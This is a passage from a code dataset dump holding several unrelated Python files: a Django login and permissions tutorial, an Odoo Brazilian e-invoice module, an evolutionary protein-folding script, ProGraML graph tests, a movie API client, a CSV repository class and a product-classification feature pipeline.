[add_contact]\n group.permissions.add(permission)\n \n # Recupera todas as permissões do grupo administradores\n group.permissions.all()\n \n # Remove permissões do usuário\n user.user_permissions.clear()\n \n # Recupera todas as permissões do usuário para verificar se o mesmo está sem permissões\n user.user_permissions.all()\n \n # Recupera todos os grupos de permissões do usuário\n user.groups.all()\n \n # Adiciona ao grupo de permissões do usuário o grupo [administradores]\n user.groups.add(group)\n \n # Recupera todos os grupos de permissões do usuário\n user.groups.all()\n \n \n # necessário para redirecionar para uma URL especifica quando o usuário não está autenticado no sistema\n # \n next = request.REQUEST.get('next', reverse('home_aula7'))\n \n if request.method == 'POST':\n \n form = LoginForm(request.POST)\n \n if form.is_valid():\n user = form.save()\n login(request, user)\n return HttpResponseRedirect(next)\n \n else:\n form = LoginForm()\n \n return render(request, 'aula7/index.html', {\n 'form': form,\n 'next': next,\n })\n \n\ndef do_logout(request):\n logout(request)\n return HttpResponseRedirect(reverse('index_aula7'))\n\n@login_required\ndef home(request):\n \n return render(request, 'aula7/home.html', {})\n \n# Permissão qualquer, somente para teste\n# o decorator @permission_required verifica se o usuário\n# possui permissão para acesso a action\n# no relacionamento entre [usuario/permissões]\n# ou no relacionamento [grupos_de_permissoes/usuários]\n\n@login_required\n@permission_required('aula6.add_contact')\ndef users_list(request):\n \n users_list = User.objects.all()\n \n return render(request, 'aula7/users_list.html', {\n 'users_list': users_list,\n })","sub_path":"curso_django/aula7/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":4111,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"625101935","text":"# -*- coding: utf-8 -*-\n# © 2016 Danimar Ribeiro, Trustcode\n# License AGPL-3.0 or later (http://www.gnu.org/licenses/agpl.html).\n\nfrom odoo import api, fields, models\nfrom odoo.exceptions import UserError\n\n\nclass AccountInvoice(models.Model):\n _inherit = 'account.invoice'\n\n @api.multi\n def _compute_nfe_number(self):\n for item in self:\n docs = self.env['invoice.eletronic'].search(\n [('invoice_id', '=', item.id)])\n if docs:\n item.nfe_number = docs[0].numero\n item.nfe_exception_number = docs[0].numero\n item.nfe_exception = (docs[0].state in ('error', 'denied'))\n item.sending_nfe = docs[0].state == 'draft'\n item.nfe_status = '%s - %s' % (\n docs[0].codigo_retorno, docs[0].mensagem_retorno)\n\n ambiente_nfe = fields.Selection(\n string=\"Ambiente NFe\", related=\"company_id.tipo_ambiente\",\n readonly=True)\n sending_nfe = fields.Boolean(\n string=\"Enviando NFe?\", compute=\"_compute_nfe_number\")\n nfe_exception = fields.Boolean(\n string=\"Problemas na NFe?\", compute=\"_compute_nfe_number\")\n nfe_status = fields.Char(\n string=\"Mensagem NFe\", compute=\"_compute_nfe_number\")\n nfe_number = fields.Integer(\n string=u\"Número NFe\", compute=\"_compute_nfe_number\")\n nfe_exception_number = fields.Integer(\n string=u\"Número NFe\", compute=\"_compute_nfe_number\")\n\n # @api.multi\n # def action_invoice_draft(self):\n # for item in self:\n # docs = self.env['invoice.eletronic'].search(\n # [('invoice_id', '=', item.id)])\n # for doc in docs:\n # if doc.state in ('done', 'denied', 'cancel'):\n # raise UserError('Nota fiscal já emitida para esta fatura - \\\n # Duplique a fatura para continuar')\n # return super(AccountInvoice, self).action_invoice_draft()\n\n def invoice_print(self):\n doc = self.env['invoice.eletronic'].search(\n [('invoice_id', '=', self.id)], limit=1)\n if doc.model == '55':\n return self.env.ref(\n 'br_nfe.report_br_nfe_danfe').report_action(doc)\n else:\n return super(AccountInvoice, self).invoice_print()\n\n def _return_pdf_invoice(self, doc):\n if doc.model == '55':\n return 'br_nfe.report_br_nfe_danfe'\n return super(AccountInvoice, self)._return_pdf_invoice(doc)\n\n def action_number(self, serie_id):\n\n if not serie_id:\n return\n\n inv_inutilized = self.env['invoice.eletronic.inutilized'].search([\n ('serie', '=', serie_id.id)], order='numeration_end desc', limit=1)\n\n if not inv_inutilized:\n return serie_id.internal_sequence_id.next_by_id()\n\n if inv_inutilized.numeration_end >= \\\n serie_id.internal_sequence_id.number_next_actual:\n serie_id.internal_sequence_id.sudo().write(\n {'number_next_actual': inv_inutilized.numeration_end + 1})\n return serie_id.internal_sequence_id.next_by_id()\n\n def _prepare_edoc_vals(self, inv, inv_lines, serie_id):\n res = super(AccountInvoice, self)._prepare_edoc_vals(\n inv, inv_lines, serie_id)\n\n # numero_nfe = self.action_number(serie_id)\n if 'numero' not in res:\n numero_nfe = self.action_number(serie_id)\n else:\n numero_nfe = res['numero']\n res['payment_mode_id'] = inv.payment_mode_id.id\n res['ind_pres'] = inv.fiscal_position_id.ind_pres\n res['finalidade_emissao'] = inv.fiscal_position_id.finalidade_emissao\n res['informacoes_legais'] = inv.fiscal_comment\n res['informacoes_complementares'] = inv.comment\n res['numero_fatura'] = inv.number\n res['fatura_bruto'] = inv.total_bruto\n res['fatura_desconto'] = inv.total_desconto\n res['fatura_liquido'] = inv.amount_total\n res['pedido_compra'] = inv.name\n res['valor_icms_uf_remet'] = inv.valor_icms_uf_remet\n res['valor_icms_uf_dest'] = inv.valor_icms_uf_dest\n res['valor_icms_fcp_uf_dest'] = inv.valor_icms_fcp_uf_dest\n res['serie'] = serie_id.id\n res['serie_documento'] = serie_id.code\n res['model'] = serie_id.fiscal_document_id.code\n res['numero_nfe'] = numero_nfe\n res['numero'] = numero_nfe\n res['name'] = 'Documento Eletrônico: nº %s' % numero_nfe\n res['ambiente'] = 'homologacao' \\\n if inv.company_id.tipo_ambiente == '2' else 'producao'\n\n # Indicador Consumidor Final\n if inv.commercial_partner_id.is_company:\n res['ind_final'] = '0'\n else:\n res['ind_final'] = '1'\n res['ind_dest'] = '1'\n if inv.company_id.state_id != inv.commercial_partner_id.state_id:\n res['ind_dest'] = '2'\n if inv.company_id.country_id != inv.commercial_partner_id.country_id:\n res['ind_dest'] = '3'\n if inv.fiscal_position_id.ind_final:\n res['ind_final'] = inv.fiscal_position_id.ind_final\n\n # Indicador IE Destinatário\n ind_ie_dest = False\n if inv.commercial_partner_id.is_company:\n if inv.commercial_partner_id.inscr_est:\n ind_ie_dest = '1'\n elif inv.commercial_partner_id.state_id.code in ('AM', 'BA', 'CE',\n 'GO', 'MG', 'MS',\n 'MT', 'PE', 'RN',\n 'SP'):\n ind_ie_dest = '9'\n else:\n ind_ie_dest = '2'\n else:\n ind_ie_dest = '9'\n if inv.commercial_partner_id.indicador_ie_dest:\n ind_ie_dest = inv.commercial_partner_id.indicador_ie_dest\n res['ind_ie_dest'] = ind_ie_dest\n\n # Duplicatas\n duplicatas = []\n count = 1\n for parcela in inv.receivable_move_line_ids.sorted(lambda x: x.name):\n duplicatas.append((0, None, {\n 'numero_duplicata': \"%03d\" % count,\n 'data_vencimento': parcela.date_maturity,\n 'valor': parcela.credit or parcela.debit,\n }))\n count += 1\n res['duplicata_ids'] = duplicatas\n\n # Documentos Relacionados\n documentos = []\n for doc in inv.fiscal_document_related_ids:\n documentos.append((0, None, {\n 'invoice_related_id': doc.invoice_related_id.id,\n 'document_type': doc.document_type,\n 'access_key': doc.access_key,\n 'serie': doc.serie,\n 'internal_number': doc.internal_number,\n 'state_id': doc.state_id.id,\n 'cnpj_cpf': doc.cnpj_cpf,\n 'cpfcnpj_type': doc.cpfcnpj_type,\n 'inscr_est': doc.inscr_est,\n 'date': doc.date,\n 'fiscal_document_id': doc.fiscal_document_id.id,\n }))\n\n res['fiscal_document_related_ids'] = documentos\n return res\n\n def _prepare_edoc_item_vals(self, invoice_line):\n vals = super(AccountInvoice, self).\\\n _prepare_edoc_item_vals(invoice_line)\n\n vals['cest'] = invoice_line.product_id.cest or \\\n invoice_line.fiscal_classification_id.cest or ''\n vals['classe_enquadramento_ipi'] = \\\n invoice_line.fiscal_classification_id.classe_enquadramento or ''\n vals['codigo_enquadramento_ipi'] = \\\n invoice_line.fiscal_classification_id.codigo_enquadramento or '999'\n vals['tem_difal'] = invoice_line.tem_difal\n vals['icms_bc_uf_dest'] = invoice_line.icms_bc_uf_dest\n vals['icms_aliquota_interestadual'] = \\\n invoice_line.tax_icms_inter_id.amount or 0.0\n vals['icms_aliquota_uf_dest'] = \\\n invoice_line.tax_icms_intra_id.amount or 0.0\n vals['icms_aliquota_fcp_uf_dest'] = \\\n invoice_line.tax_icms_fcp_id.amount or 0.0\n vals['icms_uf_remet'] = invoice_line.icms_uf_remet or 0.0\n vals['icms_uf_dest'] = invoice_line.icms_uf_dest or 0.0\n vals['icms_fcp_uf_dest'] = invoice_line.icms_fcp_uf_dest or 0.0\n vals['icms_aliquota_inter_part'] = \\\n invoice_line.icms_aliquota_inter_part or 0.0\n\n di_importacao = []\n for di in invoice_line.import_declaration_ids:\n adicoes = []\n for di_line in di.line_ids:\n adicoes.append((0, None, {\n 'sequence': di_line.sequence,\n 'name': di_line.name,\n 'manufacturer_code': di_line.manufacturer_code,\n 'amount_discount': di_line.amount_discount,\n 'drawback_number': di_line.drawback_number,\n }))\n\n di_importacao.append((0, None, {\n 'name': di.name,\n 'date_registration': di.date_registration,\n 'state_id': di.state_id.id,\n 'location': di.location,\n 'date_release': di.date_release,\n 'type_transportation': di.type_transportation,\n 'afrmm_value': di.afrmm_value,\n 'type_import': di.type_import,\n 'thirdparty_cnpj': di.thirdparty_cnpj,\n 'thirdparty_state_id': di.thirdparty_state_id.id,\n 'exporting_code': di.exporting_code,\n 'line_ids': adicoes,\n }))\n vals['import_declaration_ids'] = di_importacao\n vals['informacao_adicional'] = invoice_line.informacao_adicional\n return vals\n","sub_path":"br_nfe/models/account_invoice.py","file_name":"account_invoice.py","file_ext":"py","file_size_in_byte":9686,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"404933404","text":"import os\nimport sys\nimport time\n\nimport numpy as np\n\nimport differential_evolution_multi_objective as demo\nimport individual as individuals\nimport problem.protein_structure_prediction_problem as psp\n\n\ndef retrieve_init_pop(protein, run_id):\n ind_list = list()\n f = open(\"./results_canonical_de/PSP/APL/\" + protein + \"/\" + str(run_id + 1) + \"/init_pop_n\", 'r')\n for line in f:\n ind = [float(vals) for vals in line.split(sep=',')]\n ind_list.append(ind)\n\n f.close()\n\n return ind_list\n\n\nproblem_psp = psp.ProteinStructurePredictionProblem()\nalgorithm_de = demo.DEMO(problem_psp)\n\nsys.exit()\n\n\nfor i in range(0, 30):\n\n pre_defined_pop = np.empty(algorithm_de.NP, individuals.Individual)\n list_pop = retrieve_init_pop(problem_psp.protein, i)\n\n for k in range(0, algorithm_de.NP):\n ind = individuals.Individual(k, problem_psp.dimensions)\n ind.ind_id = k\n ind.dimensions = list_pop[k]\n ind.fitness = problem_psp.evaluate(ind.dimensions)\n\n pre_defined_pop[k] = ind\n\n os.makedirs(\"./results/differential_evolution/\" + problem_psp.protein + \"/SaDE/\" + str(i + 1))\n init_time = time.time()\n file_name = \"./results/differential_evolution/\" + problem_psp.protein + \"/SaDE/\" + str(i + 1) + \"/\"\n\n algorithm_de.optimize(pre_defined_pop)\n algorithm_de.get_results_report(file_name + \"convergence\")\n end_time = time.time()\n\n t_file = open(file_name + \"run_time\", \"w\")\n t_file.write(str(end_time - init_time) + \" seconds\")\n t_file.close()\n\n problem_psp.generate_pdb(algorithm_de.population[algorithm_de.get_best_individual()].dimensions, file_name + \"lowest_final_energy.pdb\")\n\n algorithm_de.dump()\n","sub_path":"main_de_psp.py","file_name":"main_de_psp.py","file_ext":"py","file_size_in_byte":1686,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"71"} +{"seq_id":"436412005","text":"import numpy as np\r\n\r\nclass R_Bar:\r\n \r\n def __init__(self,larg=1,long=1,x_c=0,y_c=0,theta=0):\r\n self.x_c = x_c\r\n self.y_c = y_c\r\n self.center = (x_c,y_c)\r\n \r\n self.long = long\r\n self.larg = larg\r\n self.theta = theta\r\n \r\n def get_mask(self,xx,yy):\r\n \"\"\"Renvoie un masque avec 1 disant que le point est dans la barre, 0 sinon\r\n Entrées: - xx : meshgrid selon x\r\n - yy : meshgrid selon y\r\n Sortie : - masque : masque correspondant\r\n \"\"\"\r\n #Translation\r\n xx -= self.x_c\r\n yy -= self.y_c\r\n #Rotation dans le repère \r\n xx_p = xx*np.cos(self.theta) + yy*np.sin(self.theta)\r\n yy_p = yy*np.cos(self.theta) - xx*np.sin(self.theta)\r\n \r\n def f(x,A):\r\n return np.heaviside(x+A,1) - np.heaviside(x-A,1)\r\n masque = np.heaviside(f(xx_p,self.larg/2) + f(yy_p,self.long/2)-1.5,0,dtype=int)\r\n return masque\r\n \r\n \r\n def __repr__(self):\r\n return \"Rotating Bar object\\nCenter={}, Angle={}, dimensions={}\".format(self.center,self.theta,(self.long,self.larg))\r\n\r\n\r\n\r\n\r\n\r\n\r\nbar = R_Bar(1,1,np.pi/2)","sub_path":"Objects/Rotating_Bar.py","file_name":"Rotating_Bar.py","file_ext":"py","file_size_in_byte":1182,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"71"} +{"seq_id":"68111170","text":"# Copyright 2019 the ProGraML authors.\n#\n# Contact Chris Cummins .\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n\"\"\"Unit tests for //deeplearning/ml4pl/graphs:programl.\"\"\"\nimport random\nfrom typing import List\n\nimport networkx as nx\n\nfrom deeplearning.ml4pl.graphs import programl\nfrom deeplearning.ml4pl.graphs import programl_pb2\nfrom deeplearning.ml4pl.testing import random_programl_generator\nfrom labm8.py import decorators\nfrom labm8.py import test\n\n\nFLAGS = test.FLAGS\n\n###############################################################################\n# Fixtures.\n###############################################################################\n\n\n@test.Fixture(\n scope=\"function\", params=list(random_programl_generator.EnumerateTestSet()),\n)\ndef random_100_proto(request) -> programl_pb2.ProgramGraph:\n \"\"\"A test fixture which returns one of 100 \"real\" graph protos.\"\"\"\n return request.param\n\n\n@test.Fixture(scope=\"session\", params=(1, 2))\ndef node_x_dimensionality(request) -> int:\n \"\"\"A test fixture which enumerates dimensionalities.\"\"\"\n return request.param\n\n\n@test.Fixture(scope=\"session\", params=(0, 2))\ndef node_y_dimensionality(request) -> int:\n \"\"\"A test fixture which enumerates dimensionalities.\"\"\"\n return request.param\n\n\n@test.Fixture(scope=\"session\", params=(0, 2))\ndef graph_x_dimensionality(request) -> int:\n \"\"\"A test fixture which enumerates dimensionalities.\"\"\"\n return request.param\n\n\n@test.Fixture(scope=\"session\", params=(0, 2))\ndef graph_y_dimensionality(request) -> int:\n \"\"\"A test fixture which enumerates dimensionalities.\"\"\"\n return request.param\n\n\n@test.Fixture(scope=\"session\", params=(None, 10, 100))\ndef node_count(request) -> int:\n \"\"\"A test fixture which enumerates node_counts.\"\"\"\n return request.param\n\n\n@test.Fixture(scope=\"session\", params=list(programl.InputOutputFormat))\ndef fmt(request) -> programl.InputOutputFormat:\n \"\"\"A test fixture which enumerates protocol buffer formats.\"\"\"\n return request.param\n\n\n###############################################################################\n# Tests.\n###############################################################################\n\n\ndef test_proto_networkx_equivalence(\n random_100_proto: programl_pb2.ProgramGraph,\n):\n \"\"\"Test proto -> networkx -> proto on 100 \"real\" graphs.\"\"\"\n # proto -> networkx\n g = programl.ProgramGraphToNetworkX(random_100_proto)\n assert g.number_of_nodes() == len(random_100_proto.node)\n assert g.number_of_edges() == len(random_100_proto.edge)\n\n # networkx -> proto\n proto_out = programl.NetworkXToProgramGraph(g)\n assert proto_out.function == random_100_proto.function\n assert proto_out.node == random_100_proto.node\n assert proto_out.edge == random_100_proto.edge\n\n\ndef test_proto_networkx_equivalence_with_preallocated_proto(\n random_100_proto: programl_pb2.ProgramGraph,\n):\n \"\"\"Test proto -> networkx -> proto on 100 \"real\" graphs using the same\n proto instance.\"\"\"\n # proto -> networkx\n g = programl.ProgramGraphToNetworkX(random_100_proto)\n assert g.number_of_nodes() == len(random_100_proto.node)\n assert g.number_of_edges() == len(random_100_proto.edge)\n\n # networkx -> proto\n # Allocate the proto ahead of time:\n proto_out = programl_pb2.ProgramGraph()\n programl.NetworkXToProgramGraph(g, proto=proto_out)\n assert proto_out.function == random_100_proto.function\n assert proto_out.node == random_100_proto.node\n assert proto_out.edge == random_100_proto.edge\n\n\n###############################################################################\n# Fuzzers.\n###############################################################################\n\n\n@decorators.loop_for(seconds=30)\ndef test_fuzz_GraphBuilder():\n \"\"\"Test that graph construction doesn't set on fire.\"\"\"\n builder = programl.GraphBuilder()\n random_node_count = random.randint(3, 100)\n random_edge_count = random.randint(3, 100)\n nodes = []\n for _ in range(random_node_count):\n nodes.append(builder.AddNode())\n for _ in range(random_edge_count):\n builder.AddEdge(random.choice(nodes), random.choice(nodes))\n assert builder.g\n assert builder.proto\n\n\n@decorators.loop_for(seconds=5)\ndef test_fuzz_proto_bytes_equivalence(fmt: programl.InputOutputFormat):\n \"\"\"Test that conversion to and from bytes does not change the proto.\"\"\"\n input = random_programl_generator.CreateRandomProto()\n output = programl.FromBytes(programl.ToBytes(input, fmt), fmt)\n assert input == output\n\n\n@decorators.loop_for(seconds=5)\ndef test_fuzz_proto_networkx_equivalence(\n node_x_dimensionality: int,\n node_y_dimensionality: int,\n graph_x_dimensionality: int,\n graph_y_dimensionality: int,\n node_count: int,\n):\n \"\"\"Fuzz proto -> networkx -> proto on random generated graphs.\"\"\"\n proto_in = random_programl_generator.CreateRandomProto(\n node_x_dimensionality=node_x_dimensionality,\n node_y_dimensionality=node_y_dimensionality,\n graph_x_dimensionality=graph_x_dimensionality,\n graph_y_dimensionality=graph_y_dimensionality,\n node_count=node_count,\n )\n\n # proto -> networkx\n g = programl.ProgramGraphToNetworkX(proto_in)\n assert g.number_of_nodes() == len(proto_in.node)\n assert g.number_of_edges() == len(proto_in.edge)\n\n # Check that the functions match up.\n functions_in_graph = set(\n [\n function\n for _, function in g.nodes(data=\"function\")\n if function is not None\n ]\n )\n functions_in_proto = [function.name for function in proto_in.function]\n assert sorted(functions_in_proto) == sorted(functions_in_graph)\n\n # networkx -> proto\n proto_out = programl.NetworkXToProgramGraph(g)\n assert proto_out.function == proto_in.function\n assert proto_out.node == proto_in.node\n # Randomly generated graphs don't have a stable edge order.\n assert len(proto_out.edge) == len(proto_in.edge)\n\n\n###############################################################################\n# Benchmarks.\n###############################################################################\n\n\n@test.Fixture(scope=\"session\")\ndef benchmark_protos(\n node_x_dimensionality: int,\n node_y_dimensionality: int,\n graph_x_dimensionality: int,\n graph_y_dimensionality: int,\n node_count: int,\n) -> List[programl_pb2.ProgramGraph]:\n \"\"\"A fixture which returns 10 protos for benchmarking.\"\"\"\n return [\n random_programl_generator.CreateRandomProto(\n node_x_dimensionality=node_x_dimensionality,\n node_y_dimensionality=node_y_dimensionality,\n graph_x_dimensionality=graph_x_dimensionality,\n graph_y_dimensionality=graph_y_dimensionality,\n node_count=node_count,\n )\n for _ in range(10)\n ]\n\n\n@test.Fixture(scope=\"session\")\ndef benchmark_networkx(\n benchmark_protos: List[programl_pb2.ProgramGraph],\n) -> List[nx.MultiDiGraph]:\n \"\"\"A fixture which returns 10 graphs for benchmarking.\"\"\"\n return [programl.ProgramGraphToNetworkX(p) for p in benchmark_protos]\n\n\ndef Benchmark(fn, inputs):\n \"\"\"A micro-benchmark which calls the given function over all inputs.\"\"\"\n for element in inputs:\n fn(element)\n\n\ndef test_benchmark_proto_to_networkx(\n benchmark, benchmark_protos: List[programl_pb2.ProgramGraph]\n):\n \"\"\"Benchmark proto -> networkx.\"\"\"\n benchmark(Benchmark, programl.ProgramGraphToNetworkX, benchmark_protos)\n\n\ndef test_benchmark_networkx_to_proto(\n benchmark, benchmark_networkx: List[nx.MultiDiGraph]\n):\n \"\"\"Benchmark networkx -> proto.\"\"\"\n benchmark(Benchmark, programl.NetworkXToProgramGraph, benchmark_networkx)\n\n\nif __name__ == \"__main__\":\n test.Main()\n","sub_path":"deeplearning/ml4pl/graphs/programl_test.py","file_name":"programl_test.py","file_ext":"py","file_size_in_byte":7950,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"71"} +{"seq_id":"42356589","text":"import csv\r\n\r\nfrom domain.product import Product\r\n\r\n\r\nclass ProductRepository:\r\n def __init__(self, name):\r\n self.__products = []\r\n self.__file_name = name\r\n\r\n def add(self, product): #opens the file and appends a new product to it\r\n with open(self.__file_name, 'a') as products_file:\r\n product_writer = csv.writer(products_file, delimiter=',')\r\n product_writer.writerow([product.productName, product.price, product.quantity])\r\n products_file.close()\r\n\r\n def read(self, productName):# searches for a product name; it returns the corresponding product if found or 0 otherwise\r\n with open(self.__file_name, 'r') as products_file:\r\n product_reader = csv.reader(products_file, delimiter=\",\")\r\n for row in product_reader:\r\n if len(row)!=0:\r\n if row[0] == productName:\r\n product = Product(row[0], float(row[1]), int(row[2]))\r\n products_file.close()\r\n return product\r\n products_file.close()\r\n return 0\r\n\r\n def delete(self, productName):#it deletes the product with the corresponding name\r\n #reads the old data and stores it in a list, except the item that needs to be deleted(not efficient if we work with files containing large amounts of data)\r\n new_rows = []\r\n with open(self.__file_name, 'r') as products_file:\r\n product_reader = csv.reader(products_file, delimiter=\",\")\r\n for row in product_reader:\r\n if len(row) != 0:\r\n if row[0] != productName:\r\n new_rows.append(row)\r\n #rewrites the file\r\n products_file.close()\r\n\r\n with open(self.__file_name, 'w') as products_file:\r\n product_writer = csv.writer(products_file, delimiter=\",\")\r\n product_writer.writerows(new_rows)\r\n products_file.close()\r\n\r\n\r\n def update(self, product):#it replaces the item with the \"product.productName\" name with \"product\"\r\n #creates a list with all the old data along with the updated product\r\n new_rows = []\r\n with open(self.__file_name, 'r') as products_file:\r\n product_reader = csv.reader(products_file, delimiter=\",\")\r\n for row in product_reader:\r\n if len(row) != 0:\r\n if row[0] == product.productName:\r\n\r\n new_rows.append([product.productName, product.price, product.quantity])\r\n else:\r\n new_rows.append(row)\r\n products_file.close()\r\n #rewrites the file\r\n with open(self.__file_name, 'w') as products_file:\r\n product_writer = csv.writer(products_file, delimiter=\",\")\r\n product_writer.writerows(new_rows)\r\n products_file.close()\r\n\r\n","sub_path":"Ex_3/repository.py","file_name":"repository.py","file_ext":"py","file_size_in_byte":2861,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"71"} +{"seq_id":"119312480","text":"#!/usr/bin/env python3\nimport requests\n__author__ = \"\"\"Yash Vaidya\"\"\"\n\n\"\"\"\nGet an account from themoviedb.org. Go to this link and create an account:\nhttps://www.themoviedb.org/?_dc=1489731496\nassign your API key to the variable below\n\"\"\"\n\nAPI_KEY = \"please enter API key within the quotes\"\nbase_url = \"https://api.themoviedb.org/3/movie/\"\n\n\"\"\"\nFunction name: get_movie_recommendations\nParameters: movie_ids (list of ints)\nReturns: recommended movie titles (list of strings)\n\"\"\"\n\ndef get_movie_recommendations(movie_ids):\n newlist = []\n for x in movie_ids:\n r = requests.get(base_url + \"{}?api_key=\".format(x) + API_KEY)\n data = r.json()\n if len(data) > 2:\n if data[\"popularity\"] > 20:\n newlist.append(data[\"title\"])\n return(newlist)\n\"\"\"\nFunction name: get_upcoming\nParameters: None\nReturns: the next 10 upcoming movies titles (list of strings)\n\"\"\"\n\nfrom pprint import pprint\ndef get_upcoming():\n upcoming_list = []\n r = requests.get(\"https://api.themoviedb.org/3/movie/upcoming?api_key=+\" + \"Your KEY here\" + \"&language=en-US&page=1\")\n data = r.json()\n pprint(data)\n arb = data[\"results\"]\n for x in arb:\n if len(upcoming_list) < 10:\n upcoming_list.append(x[\"title\"])\n return(upcoming_list)\n\n\n\"\"\"\nFunction name: get_cast_members\nParameters: movie_id (int), job_title (string), section (string)\nReturns: names of people who worked the job specified by the job title for the\ngiven movie (list of strings)\n\n\"\"\"\n\ndef get_cast_members(movie_id, job_title, section):\n newlist = []\n r = requests.get(\"https://api.themoviedb.org/3/movie/{}/credits?api_key=5fcbeae436c656f9e7f98b5c6d06063f\".format(movie_id))\n data = r.json()\n if section == \"cast\":\n for x in data[\"cast\"]:\n newlist.append(x[\"name\"])\n return(newlist)\n elif section == \"crew\":\n for x in data[\"crew\"]:\n if x[\"job\"] == job_title:\n newlist.append(x[\"name\"])\n return(newlist)\n\n\"\"\"\nFunction name: map_movies_to_language\nParameters: movie_ids (list of ints), languages (list of strings)\nReturns: a dictionary mapping languages to the movies titles available in that\nlanguage\n\"\"\"\n\n\ndef map_movies_to_languages(movie_ids, languages):\n newdict = {}\n for x in languages:\n newlist = []\n golist = []\n for y in movie_ids:\n r = requests.get(\"https://api.themoviedb.org/3/movie/{}/translations?api_key=5fcbeae436c656f9e7f98b5c6d06063f\".format(y))\n data = r.json()\n if \"status_code\" in data.keys():\n continue\n arb = data[\"translations\"]\n for lit in arb:\n if lit[\"english_name\"] == x:\n newlist.append(y)\n for helu in newlist:\n r = requests.get(base_url + \"{}?api_key=\".format(helu) + API_KEY)\n data = r.json()\n if len(data) > 2:\n if data[\"title\"] not in golist:\n golist.append(data[\"title\"])\n newdict[x] = golist\n return(newdict)\n\n\n\n\"\"\"\nFunction name: get_genre_movies\nParameters: movie_ids (list of ints), genre (string), start_year (int),\nend_year (int)\nReturns: movie titles (list of strings)\n\"\"\"\n\n\ndef get_genre_movies(movie_ids, genre, start_year, end_year):\n newlist = []\n for x in movie_ids:\n r = requests.get(base_url + \"{}?api_key=\".format(x) + API_KEY)\n data = r.json()\n if len(data) <= 2:\n continue\n sircut = data[\"genres\"]\n for y in sircut:\n if y[\"name\"] == genre:\n date = data[\"release_date\"]\n date = date.split(\"-\")\n if int(date[0]) > start_year:\n if int(date[0]) < end_year:\n newlist.append(data[\"title\"])\n return(newlist)\n","sub_path":"MovieGetter.py","file_name":"MovieGetter.py","file_ext":"py","file_size_in_byte":3819,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"71"} +{"seq_id":"374942181","text":"'''\n#####################\n#####HOW TO USE:#####\n#####################\n1. Open the terminal and change working directory to the dir where this file is located.\n2. Write 'python' in the terminal to open the python shell.\n3. Run the following commands in the pythin shell (just copy paste them):\nfrom prediction import * #to imort the fuctions from this document\n#df = pd.read_csv(\"off_unspsc_final.csv\", sep=\"\\t\")\ndf = pd.read_csv(\"icecat_unspsc_final.csv\", sep=\"\\t\") #to read the csv file (318 seconds or 5 minutes for icecat)\ndf = df.reindex(np.random.permutation(df.index)) #randomising the rows in the file to avoid biased training data (takes around 20 seconds)\n#X, y = feature_extraction([\"brands\",\"categories\",\"product_name\",\"generic_name\"],\"unspsc\",df) #extract features from all columns in the list and specify target vector\nX, y = feature_extraction([\"Brand\",\"Part number\",\"Title\",\"Model Name\"],\"unspsc\",df[:200000]) #extract features from all columns in the list and specify target vector\nX_test, y_test, X_train, y_train = training_slicing(X, y, 0.8, 5) #decide how many training sets to allocate and the ratio os training to testing\ntrain_test(X_test, y_test, X_train, y_train,\"nb\") #train and test the model\n#df['unspsc\"']=df['unspsc\"'].str.replace('\"', '')\n'''\n\n#Importing basic stuff\nimport sys\nimport numpy as np\nimport pandas as pd\nimport matplotlib.pyplot as plt\nfrom time import time\n\n#importing different scikit models\nfrom sklearn.naive_bayes import MultinomialNB\nfrom sklearn.linear_model import LogisticRegression\nfrom sklearn import svm\nfrom sklearn import tree\nfrom sklearn import cross_validation\nfrom sklearn.ensemble import RandomForestClassifier\nfrom sklearn.feature_extraction.text import TfidfVectorizer, HashingVectorizer, CountVectorizer\nfrom sklearn import preprocessing\nfrom sklearn.preprocessing import Imputer, Normalizer\nfrom sklearn.pipeline import FeatureUnion\nfrom sklearn.pipeline import Pipeline\n\n#importing different scikit matrics\nfrom sklearn.metrics import accuracy_score, fbeta_score\nfrom sklearn.metrics import f1_score\nfrom sklearn.metrics import precision_score\nfrom sklearn.metrics import recall_score\nfrom sklearn.metrics import classification_report\nfrom sklearn.metrics import confusion_matrix\nfrom sklearn.learning_curve import learning_curve\n\n#importing project files\nfrom transformers import *\n\n#Extract features.\ndef extract_features(df, field_values, label_column):\n\n vect = HashingVectorizer(decode_error='strict', ngram_range=(1,2), n_features = 2**18, binary=True, norm=None)\n\n pipeline = Pipeline([\n (\"selector_union\", FeatureUnion([\n ('Brand_title pipeline', Pipeline([\n (\"Title_Selector\", ItemSelector(key=\"Brand_Title\")),\n ('vect n print', Pipeline([\n ('vect', vect),\n ('print shape', Printer(message = \"\\tBrand_Title_Selector\"))\n ]))\n ])),\n ('ean pipeline', Pipeline([\n (\"GTIN select\", FirstGTINNumber(key=\"EAN\")),\n ('print shape', Printer(message = \"\\tGTINSelector\"))\n ])),\n (\"isInt pipeline\", Pipeline([\n ('pipelined', HasInt(key=\"Title\")),\n ('print shape', Printer(message = \"\\tIsInt_Deriver\"))\n ])),\n ('x pipeline', Pipeline([\n (\"Has X numbered things\", XNumbered(key=\"Title\")),\n ('print shape', Printer(message = \"\\tX Numbered\"))\n ])),\n ('dash pipeline', Pipeline([\n (\"Has dash numbered things\", DashNumbered(key=\"Title\")),\n ('print shape', Printer(message = \"\\tDash Numbered\"))\n ])),\n ('fraction pipeline', Pipeline([\n (\"Has dash numbered things\", HasFraction(key=\"Title\")),\n ('print shape', Printer(message = \"\\tHas fraction\"))\n ])),\n ('Alphanumeric pipeline', Pipeline([\n (\"Has Alphanumeric Words\", AlphanumericWords(key=\"Title\")),\n ('print shape', Printer(message = \"\\tHas Alphanumeric Words\"))\n ])),\n ('Unit features pipeline', Pipeline([\n (\"Unit features\", 